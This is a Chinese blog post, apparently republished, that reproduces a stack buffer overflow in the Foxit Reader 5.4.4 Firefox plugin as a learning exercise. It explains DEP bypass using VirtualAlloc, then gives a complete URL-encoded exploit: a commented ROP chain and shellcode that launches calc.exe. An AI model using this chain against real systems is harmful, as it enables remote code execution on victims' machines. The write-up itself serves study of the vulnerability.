福昕阅读器 5.4.4.1128 Firefox Plugin npFoxitReaderPlugin.dll Stack Buffer Overflow

来源:互联网 发布:亨氏甜麦圈 知乎 编辑:程序博客网 时间:2024/06/05 01:15

之前在 ISCC2013 线上赛的时候,这个溢出题没能做出来,现在正好在学习溢出,想重现下漏洞。

http://www.exploit-db.com/exploits/23944/

exploit-db 上有简略的描述

测试环境:


Microsoft Windows 7 sp1
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

npFoxitReaderPlugin.dll
版本:2.2.1.530

由于对文件后面的参数未做判断,导致溢出。

exploit-db 上说,当我们访问 http://192.168.0.1/x.pdf?[A x 1024] 时溢出。

在分析之前先讲些要利用到的原理


1. DEP(数据执行保护, Data Excution Prevention)


DEP 的基本原理是将数据所在内存页面标识为不可执行,当程序溢出成功转入 shellcode 时,程序尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。

DEP 的主要作用是阻止数据页 (如默认的堆页、各种堆栈页以及内存池页)执行代码。根据实现的机制的不同可分为:软件 DEP 和硬件 DEP。

根据 DEP 的启动参数的不同,DEP 工作状态可以分为四种。

(1) Optin: 默认仅将 DEP 保护应用与 Windows 系统组件和服务,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT, Application Compatibility Toolkit)为选定的程序启用 DEP, 在 Vista 下边经过 /NXcompat 选项编译过的程序将自动应用 DEP。 这种模式可以被应用程序动态关闭,它多用于普通用户版的操作系统,如 Windows XP、Windows Vista、Windows7。


(2)Optout:为排除列表程序外的所有程序和服务启用 DEP,用户可以手动在排除列表中指定不启用 DEP 保护的程序和服务。这种模式可以被应用程序动态关闭,它多用于服务器版的操作系统,如 Windows 2003、Windows 2008。


(3)AlwaysOn:对所有进程启用 DEP 的保护,不存在排序列表,这种模式下,DEP 不可以被关闭, 目前只有在64位的操作系统上才工作在AlwaysOn 模式。


(4)AlwaysOff:对所有进程禁用 DEP,  这种模式下,DEP 也不能被动态开启,这种模式下,DEP 也不能动态开启,这种模式一般只有在某种特定场所才使用,如 DEP

 干扰到程序的正常运行。


2. 利用Ret2Libc 挑战 DEP

由于 DEP 不允许我们直接到非可执行页面执行指令, 我们就需要在其它可执行的位置找到符合我们要求的指令,以便收回程序的控制权,然后继续下一步操作,具体流程可

看下图所示:



3. VirtualAlloc 

查阅 MSDN 

LPVOID WINAPI VirtualAlloc(  _In_opt_  LPVOID lpAddress,  _In_      SIZE_T dwSize,  _In_      DWORD flAllocationType,  _In_      DWORD flProtect);

Parameters

lpAddress [in, optional]

The starting address of the region to allocate. If the memory is being reserved, the specified address is rounded down to the nearest multiple of the allocation granularity. If the memory is already reserved and is being committed, the address is rounded down to the next page boundary. To determine the size of a page and the allocation granularity on the host computer, use the GetSystemInfo function. If this parameter is NULL, the system determines where to allocate the region.

申请内存区域的起始地址,如果内存地址是未被分配,指定的地址大小以最小的分配页面的大小的整数倍。由于 windows 的页面分配大小默认为4KB,即0x1000h ,所以是0x1000 的整数倍。如果内存地址已经分配了,指定地址将扩展到下一个页面结束。如果设置为NULL,则系统将自动分配该地址。

dwSize [in]

The size of the region, in bytes. If the lpAddress parameter is NULL, this value is rounded up to the next page boundary. Otherwise, the allocated pages include all pages containing one or more bytes in the range from lpAddress to lpAddress+dwSize. This means that a 2-byte range straddling a page boundary causes both pages to be included in the allocated region.

申请内存区域的大小,如果 lpAddress 参数为 NULL ,大小默认为 一个页面的大小 即:0x1000 或者是到已分配的页面的小。否则,分配的一个或多个字节在 lpAddress 到 lpAddress + dwSize之间的页面,这意味着一个2字节范围横跨一个页面边界导致页面都包含在分配区域。也就是说2个页面都分配了。


flAllocationType [in]

The type of memory allocation. This parameter must contain one of the following values.

申请内存的类型,一般这里设置为 0x1000, 0x1000指分配内存的为指定的保留的内存页,并且页面初始化为00。

flProtect [in]

The memory protection for the region of pages to be allocated. If the pages are being committed, you can specify any one of the memory protection constants.

申请内存的属性,一般设置为 0x40 

PAGE_EXECUTE_READWRITE  0x40 可读可写可执行

------------------------------------------  我是分隔线 -------------------------------------------------------------

    下面是分析过程,比较繁琐

------------------------------------------ 我是分隔线 --------------------------------------------------------------

于是我们自己搭建个服务器,安装所需的上面的软件,用python生成1024个A


访问:http://192.168.10.1/1.pdf?[A*1024]




两个错误实现在不同的模块


分别用OD attach 在 npFoxitReaderPlugin.dll 的1000162F下断点


 (注:这里有几个小细节,在用OD 调试的时候,出现很多的异常的情况,


第一:OD 下断点无法让cpu程序停在 npFoxitReaderPlugin.dll 模块内,直接attach之后F9,在重新请求时,直接终止或者,出现为无法调试的


错误,开始以为是版本的原因,但是去 OD 官网下个也不行,最后发现原来 OD 中有个选项,忽略所以异常就可以断下来了



第二:当 CPU 断下来了之后,有一个时限,进行操作,如果,不快点执行的话,进程会终止掉,也就是说,我们每次都要重新 attach ,非常的麻烦。)


用IDA Pro 打开,反编译 进行循环的这一段代码:

这一段代码的功能就是,进行url解码,就是这里未进行 url 长度的判断,导致栈溢出,并且这一段代码有一定几率出现 url 的解析失败,这个貌似跟堆栈区的内容有关,未深究。


重新attach 观察未出现的错误的最长的长度。



直到覆盖掉 SEH是不会出现错误的,多覆盖一个就会出错,但是错误所在的模块不在npFoxReader这个模块内,


我们跟进去试试,确实npFoxReader 某块确实没出错。


在上图中发现 SEH+8h 处是返回地址,这时候我们不能将shellcode 直接将在后面,因为当前堆栈是不可执行的,


因此,需要将堆栈变为可读可写可执行,查看模块的 SEH ,ASLR 某块是否启用了。



发现 npFoxitReader 未开启 safeSEH 和 ASLR ,并且dll 基址固定在0x10000000


但是还有个大问题就是要绕过 DEP ,用VirtualAlloc 或者VirtualProtect 将堆栈区设置为可读可写可执行,查询 MSDN 


由于windows默认分页是4kB,如果将lpAdress 设置为当前的堆栈地址,即用 EBP 或者ESP代替 就会将堆栈的所有区域设置为可读可写可执行。


这个要谢谢 LittleHann 大神的指导。


有了思路开始干吧,将VirtualAlloc的地址硬编码进去,但是想到kernel32.dll ntdll.dll 当系统重启后,地址是变的因此不能如此,


好吧,再次陷入困境中。


要不看看输入表吧;

天赐良机啊,竟然有 VirtualAlloc 瞬间明朗了很多了,太好了,哈哈

-------------------------------------------------------我是分隔线-------------------------------------------------------------


接下来就是构造执行VirtualAlloc的技巧了:


用pushad retn 可以实现


PUSHAD指令压入32位寄存器,其入栈顺序是:EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI


之前我们知道0x100361a8里面存放的是VirtualAlloc的真实地址,所以用mov eax dword ptr [eax] retn , 间接寻址,将VirtualAlloc的真实地址保存在eax中


然后用push eax pop esi retn 4 将VirtualAlloc 存到esi中,这样的话 只需将esp, ebx, edx, ecx, 设置为VirtualAlloc的四个参数就OK了。


理论说完了,慢慢调吧,


pushad 之后

堆栈区 

edi  //retnesi  //VirtualAllocebp //esp //lpaddress = 当前堆栈指针ebx //dwsize =  1 edx //类型为 0x1000ecx //内存属性 0x40eax //push esp retn 



设置上面的寄存器的值通过 pop retn 进行设置,


这里提一下,之前觉得ebp的值不重要,但是发现最后不行,在执行完VirtualAllloc之后,会跳到ebp 所指向的地址,


因此要将ebp 的值修复,ebp 所指向的地址最终作为跳到堆栈区的,选取命令为 push esp retn 


就行了,具体的构造过程不详细说了,总结一句,非常的麻烦,需要的是耐心


最终构造为下面:


%50%52%04%10  //SEH指针%0b%0b%01%10  //pop eax retn %10%6f%04%10  //指向.data 段 防止10016852 8906  mov dword ptr [esi],eax 出现错误%0b%0b%01%10  //pop eax retn%A8%61%03%10  //VirtualAlloc 的输入表 位置%55%F0%00%10  //mov eax dword ptr [eax] retn , 间接寻址,将VirtualAlloc的真实地址保存在eax中%81%10%02%10  //push eax pop esi retn 4 将VirtualAlloc 存到esi中%43%6b%00%10  //pop edi retn%90%90%90%90%44%6b%00%10  //retn--%96%30%00%10  //pop ebp retn%ff%b2%02%10  //push esp retn%d6%a4%00%10  //pop ebx retn%00%10%00%00  //申请内存类型 0x1000%ec%d9%00%10  //xor edx,edx retn%be%d9%00%10  //add edx,ebx pop ebx retn 10%01%00%00%00  //申请内存大小 1 %6a%1c%00%10  //pop ecx retn%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%40%00%00%00  //内存属性 0x40%bb%28%00%10  //pop eax retn%90%90%90%90%38%56%00%10  //pushad retn


最终POC构成 = 242个A + 构造VirtualAlloc 执行 + push esp retn  + 弹计算器的shellcode

http://192.168.10.1/1.pdf?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%50%52%04%10%0b%0b%01%10%10%6f%04%10%0b%0b%01%10%A8%61%03%10%55%F0%00%10%81%10%02%10%43%6b%00%10%90%90%90%90%44%6b%00%10%96%30%00%10%ff%b2%02%10%d6%a4%00%10%00%10%00%00%ec%d9%00%10%be%d9%00%10%01%00%00%00%6a%1c%00%10%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%40%00%00%00%bb%28%00%10%90%90%90%90%38%56%00%10%90%90%90%90%90%90%90%90%90%90%90%90%fc%e8%89%00%00%00%60%89%e5%31%d2%64%8b%52%30%8b%52%0c%8b%52%14%8b%72%28%0f%b7%4a%26%31%ff%31%c0%ac%3c%61%7c%02%2c%20%c1%cf%0d%01%c7%e2%f0%52%57%8b%52%10%8b%42%3c%01%d0%8b%40%78%85%c0%74%4a%01%d0%50%8b%48%18%8b%58%20%01%d3%e3%3c%49%8b%34%8b%01%d6%31%ff%31%c0%ac%c1%cf%0d%01%c7%38%e0%75%f4%03%7d%f8%3b%7d%24%75%e2%58%8b%58%24%01%d3%66%8b%0c%4b%8b%58%1c%01%d3%8b%04%8b%01%d0%89%44%24%24%5b%5b%61%59%5a%51%ff%e0%58%5f%5a%8b%12%eb%86%5d%6a%01%8d%85%b9%00%00%00%50%68%31%8b%6f%87%ff%d5%bb%f0%b5%a2%56%68%a6%95%bd%9d%ff%d5%3c%06%7c%0a%80%fb%e0%75%05%bb%47%13%72%6f%6a%00%53%ff%d5%63%61%6c%63%00

截图:



总结下:  难点就是 调整寄存器和调试技巧。


大牛勿喷,仅仅是重现漏洞来提高自己。

原创粉丝点击